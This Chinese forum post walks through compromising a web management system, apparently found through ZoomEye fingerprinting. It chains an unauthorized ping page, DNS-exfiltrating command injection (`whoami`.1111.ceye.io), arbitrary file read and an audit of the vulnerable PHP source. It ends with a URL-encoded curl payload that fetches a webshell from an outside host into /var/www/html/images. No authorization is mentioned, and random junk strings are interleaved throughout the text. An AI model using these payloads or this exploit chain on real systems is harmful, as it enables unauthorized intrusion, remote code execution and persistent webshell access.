中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
2 P; N" S& X! a6 y+ h( f; F
** **寻找突破口**
# f. G% g/ ~$ j+ d$ ^/ q$ W
4 L7 a/ @: P0 Q" Z5 U
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
3 N* ] V1 ~5 F9 t& U& w
% }" `# F3 A0 \* A- j

4 A$ k7 l0 C( c" N
% j6 F4 I7 W7 V w: f H/ I
; F& l" |* t! l9 K
2 l$ t- O- G& t* X: e. X+ x8 W8 Q# X
**发现reporter和[Technology,
9 Q) |" J4 E6 l; Q2 v
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
% d2 C" P- z+ [3 i7 r% t8 @
# R6 v- }9 k7 {# o
**地址为:**
9 i: Y. L* Q* c# ~4 D
$ B" P& X1 Y% a6 x+ k$ t. Y: h
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
/ X& _. s7 B8 V! x& Y. U
" m/ }4 o. p6 {3 l

2 n* q) p2 g' z0 [
9 ~7 N! z1 B, a! U7 B2 T
- M% ?2 b9 T+ o0 o$ \
- T' g: Y5 v: j. ?7 o
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
& J. ^$ ^% }, {
2 D2 c7 e e& G
**`whoami`.1111.ceye.io** **,如图:**
: z. Q% a( ~! o3 E! L
7 n( \- G' l, |9 q3 N7 h5 W l

5 ^2 w' Y+ b' |5 ~
" U6 f8 j8 N& Z/ @/ v; a9 a v5 t
g& h2 j5 }# |. a! D+ f
9 O) C- M& [0 R
**返回dns记录如图:**
4 k9 k" ?# V- H4 h" t0 x6 s# M
3 d6 [. c6 C; x. r" I3 b

3 b8 C; e X4 r' K; g0 K i$ q
- V9 A" n3 O' p" Q4 A9 ^
6 h% ?/ V8 o# b' J
) W! A# R w# G) W1 Q6 v
**发现当前用户权限为root**
, x& [" Y7 p7 Y6 F/ G
9 k2 r' L$ P4 d8 e9 A/ n$ W
**一、
6 Y9 A& R1 o# K- y
** **通过漏洞组合getwebshell**
: e i4 v" h) q6 ]. s, n' @+ M
5 |5 D8 W4 L5 h" c- w1 I
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
" t, i% g3 f% z* w
8 K- ^3 P1 `# a6 ?& O3 C

; @" ]2 n4 |+ o" A2 n: ]( l
. E8 z: B* B# u. H( ]+ G/ V; f2 @
" G# t& J$ l6 N( d, X
8 n4 v8 h j! m Y4 n
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
0 X- E' O6 M. a. H2 K7 g
+ z4 U& ^% O" S; R/ e" Z& i
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
# P* _' u K* k/ U/ i5 q' G
* [4 e0 ~% L# T

; ~, G# w% q3 ?6 M" P( U( C- n
) p' o. Q% r, D& B
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
* p) B' e- a5 Z# Z
; ~% o4 h" H- t
\
0 y4 v! D& p, m `# _/ n" }
0 [/ w/ T) P7 x/ S6 R% T1 ?, Y# p9 _2 v
0 V& Z0 i9 }- E0 ^) g* e% N
**源代码为:**
/ a m/ K' q# w- a% r
9 m$ R- [9 g# I7 G# N; _
<?php
% {' l, u# p2 k
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
( m7 [. P, p1 Q* Q6 l1 \7 ^0 ^
?>
) x4 b1 R* R: x0 q" ]% d/ T
* s1 c4 i b8 R
<?php
& J+ ]) k" G% Z- B d5 D7 Z& V
1 r7 _( A6 D$ g' p# u
" \0 T+ R, F8 n2 |/ s
6 k) e& S* F L+ O$ _/ n
session_start ();
2 j/ G+ g3 _7 c
1 L% E B9 Y5 j
! a8 L, K% G+ S q# @
' {2 L! s6 j( @
& [$ d+ a3 F- e7 B& E
0 U0 z1 {: O" b
7 a( E. G. d! L! Q
! D4 S; U* ?9 G% C& y- K! U2 R" Z
if ($_GET ["objClass"] == "")
. {/ M4 ^0 _9 c
; [7 \6 R& ^1 x2 E% z
, w4 Z/ `3 d: W( ~
1 d: `* x! N$ d! L% K
exit ();
+ c% n' A& D% H- g# I3 @
3 [! Z) k2 F# Z% F! Z# G
$ ^6 ]4 _2 V0 T, y
$ V4 F+ Z/ R y& d) f, h. v
$param = $_REQUEST;
! q8 O" e# F7 l
E3 V/ h$ \) C
/ }( M$ ]) I% T9 o5 k# @$ Q9 B
4 N0 X) d! B0 [, @$ h0 Z1 ]5 `" \
- v+ i: x' L$ c
$ i- b# U$ V" ~% {1 [
) _3 R4 E0 R+ b1 v. `1 t' A
$ t7 |6 k) P5 b" A) s0 `" ?
//echo "\n--------------------------\n";
" P m) y0 j3 f; Q8 M( b) O
& o; z, D k. D$ N2 O
& M, t$ T* L- T
; e2 M: L0 v) T) Z/ ~# ~
//print_r($param);
% U0 @8 s1 y! f5 w/ ?/ ]& u3 N1 r
: b& s' {+ M; k8 O7 y3 t7 A
4 O5 r7 T0 Q; `
6 E7 ~5 B/ c O6 T( `% U
//echo "\n--------------------------\n";
4 u2 i' T( K. B; j
}( y, m2 l/ {
& ~5 I/ C9 \- @: h+ v
( v- z; ~' f( o9 N, x" x3 M e5 \1 r
[if ($_GET ["method"] ==
# Z' O6 x+ y; e5 ^ [
"getList" || $_GET ["method"] == "import" ||
- u, h) m6 e% L' O) i# B4 s
$_GET ["method"] == "processAlarm") ](){
* u4 z( R' o# `5 x) M0 q
. d" N" ]/ K. c' y8 O% }$ C$ k
7 r' l3 l- |4 b8 _3 ]9 a. ^+ {, N
, |- L- R; F4 L3 x+ c! g- Y0 N
$param
) h7 k# h$ D' }' n3 c
["user"] = $_SESSION ["s_userName"];
8 `+ z5 k0 e' O% k% m9 L! c5 Q
; }" b- F& J. X6 N9 n
! z: @" T" |- @
1 \2 c2 z/ j- N- H @9 \
$param
: A% q4 I) j1 D/ ~0 I
["lan"] = $_SESSION ["lan"];
. W b4 E( n( D; B
5 c& ~! S9 y! b
+ x: x3 v& _. {% h6 l. h* D2 r
% A4 U- y x6 }5 G4 p5 J) g
$param
/ K3 i* _$ T9 t Y& h; c. Y
["regUserpath"] = $_SESSION ["regUserpath"];
. o6 Z8 [2 E# g# s6 V& ^* v9 T
1 n( l4 \8 q: {3 @! J- L3 N8 h. z' X
) l9 o" h+ @' t, g1 u
: \4 y* Z2 b( B% I/ O6 g' g
) \7 `4 g! U8 {8 {+ ?$ n
; c& g5 X/ `! h& R, m: F1 ~- X& q
3 @! w& K5 h; v( s4 c
C- _1 K. [, l6 v4 ~* u0 V
exec (
4 |8 ^; G. P( Z2 T) M( Z
"rm -rf /tmp/cache" );
2 n+ a3 X6 W/ ?, ]
& q+ w! g2 ~: c2 Z5 l5 s" L
5 K" F- ]: _% i
$ b: R5 T" |1 a' g4 p
[$cmd = "/usr/local/php/bin/php ".$_SERVER
7 W: d% R' H: z9 H+ c+ `- I$ f
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
. N6 R& s3 V* K! M. Q' o! P( l
9 u! ?9 `! o- F$ x
0 e2 Z# b: b1 t; y' M6 Y- l
# F5 t$ S/ B' L# Q5 G8 l9 ^
$cmd .=
2 ?" G! z% X3 C
" " . $_GET ["objClass"];
- _% t! Q- Z8 L2 v8 K3 }( [
4 N e! J' R) m5 J1 U$ a& z/ G
0 {( G; s- f' m) Q
, p7 G" E- m9 k" y! B _
$cmd .=
7 |# |/ `4 o% w0 \' U9 ^" T
" " . $_GET ["method"];
0 [- q6 T- ]3 U! @
4 d" |8 K. ^* K* P1 Z# i% ^ b) k
' h3 U) b. d+ u/ e0 \ f7 F; x1 r4 t
9 }/ x0 ~+ m- g$ k; |+ J
$cmd .=
, y( x0 s8 G# M! t$ J
" " . base64_encode ( json_encode ( $param ) );
" T" c0 m* Z* h5 C2 s
! S& R" r" ~" v' {3 t/ H( O
0 U/ o; d R. ~7 _* }7 S3 N( I9 Z
% r( g+ ?/ h7 _8 Q
[file_put_contents("/tmp/query_cmd",$cmd);]()
- B! h! K$ t9 V! c5 A: l; N, d
6 r( N% d- b9 j+ d
4 ?, C, x4 w5 b3 J. {5 [3 x" a, X
- [: E0 J! p7 G+ Q1 W
exec ( $cmd . "
: {. D. {% q5 u$ p0 a
> /dev/null &" );
, I- l! t% ]! c9 Q8 Y$ q6 P: j
* z2 A) i6 D- |
: [1 Q, `- l l
* O0 g& L$ x( T" L( L: C
, @0 k) X, H* O, |. O3 @, o2 F
1 A' p7 v# ^; p& ~
} else {
+ H$ V; @* V) ^& |1 H2 v& D0 \
! p. B. t% n% }* i: r
5 o/ x% [5 S3 R/ C ]: w# \) W
# C% f5 U; g% b" V
require_once
' G; U0 {3 G. |+ }* F+ ?, a
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
* M. w$ ^& N* }7 E4 M. v; s4 t5 V# c
6 v4 g+ {" c' z) t% a, K& h
( j* _; u: Q% i% o
% U, z( q' I* _/ w4 j8 q
$obj = new
6 n5 h% ]4 x5 l4 `) U+ I
QueryInterface ();
. l/ r8 d+ e* Z4 q+ ^ |; d# ~
8 b, C( M$ F" K# n5 a
, P+ K& J# g% m; t
: p F- D0 c+ I- ?& Q. _1 `
$instance =
& w# d2 ]# N4 a
$obj->getInstance ();
/ U7 S+ T, ~# d+ N9 F
: o, }: H9 y& D/ D. `) Z+ w( f, c3 R
" B8 N( Z8 T1 w7 Y1 V
% a ~6 [8 {6 s! R8 r6 ~; \
$instance->invokeMethod
+ Z) o R0 |* U
( $_GET ["objClass"], $_GET ["method"], $param );
( M, ]' L% e, i% f0 s1 v, V* p
) f' N+ I+ n3 a$ Q) ^
+ G) s- w8 w& T
5 P, K; m: f% a+ k
}
1 P# ?& A9 z0 [( N
B; {: n7 u& e, p' {
: s+ U) U7 C6 C$ ^; n; i7 ~
- ~3 R0 ~8 u7 Z
exit ();
1 Z1 e. [3 N& Q) Z$ I
" G n' l! p. @
% m5 ?% V; ` {( @+ f" ?; v# e
6 h( T& |7 Q: z9 u# D+ `
?>
6 ~. Z& j3 Y. q: G
; z$ T! J8 m5 U) u# ]) \3 v
**经常简单审计发现if ($_GET
, v/ M4 ^+ `: e$ c Z4 y8 R2 N
["method"] == "getList" || $_GET ["method"] ==
; u! |7 o2 T/ L+ |- W
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
/ U0 r2 R, |+ j0 G( t$ x
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
* ?2 u B( k7 x: X$ M3 Z
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
) m& m* E) V4 o8 \% i9 }
$ H/ ~; E; m$ e4 f5 c9 j
** exec ( $cmd
/ w" g( q' q' Y Q F6 M5 x
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
& N2 B7 Y' U5 x3 Q% c% i8 @0 k
. x! @2 Q8 w' h9 Q
; |% t; a( G. D* ]

1 D5 ^: K( Q9 E. N! V C3 L; i
4 n1 I4 \2 `3 J" B! \5 Q& l$ R
4 U7 t' A! `# P; e K( {& f0 h
6 O7 A/ V6 G! R% E
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
; `" U j& H) |; n7 ?* j. h7 [ H
! Y/ x8 b* J* g6 k2 G8 A
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
) h$ c8 L+ T$ E) p
) W3 @7 u3 ?9 j$ n5 G; ~
**我们用url解码如下:**
7 _5 u1 o5 J" G0 S7 H
8 v) ]. l% {+ H+ \( j
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
1 a: w1 }% M* e+ Y# I2 H. g
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
3 s8 R7 N! X0 v- [
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
7 N5 [, R5 N) K8 f" A) V9 J6 O
7 n* ?2 z, K/ F
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
) s: S! N" T7 S9 |5 }3 D% H
2 w4 k" D9 ^! b! J2 N2 n
( l/ @# c9 h! T, L2 o

7 [. z; p! C8 N, N0 E* M
4 o/ w: s1 d5 N
: I2 t) F8 Q% f- g2 c$ B( y4 S
7 W% l% S# d U( ~4 j# [
7 y( [2 ?4 Z) \- M) _/ ?
**三、总结**
! b$ V5 x" q+ G- c8 U5 o. x5 W
7 W5 q8 m, H4 p$ v) E
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
! H2 s( ?0 A8 O) p& {
- ~) |5 ^7 c1 A) Z6 Y2 s2 _. y! a
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
5 M' y& S6 t' f8 f h
[/md]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2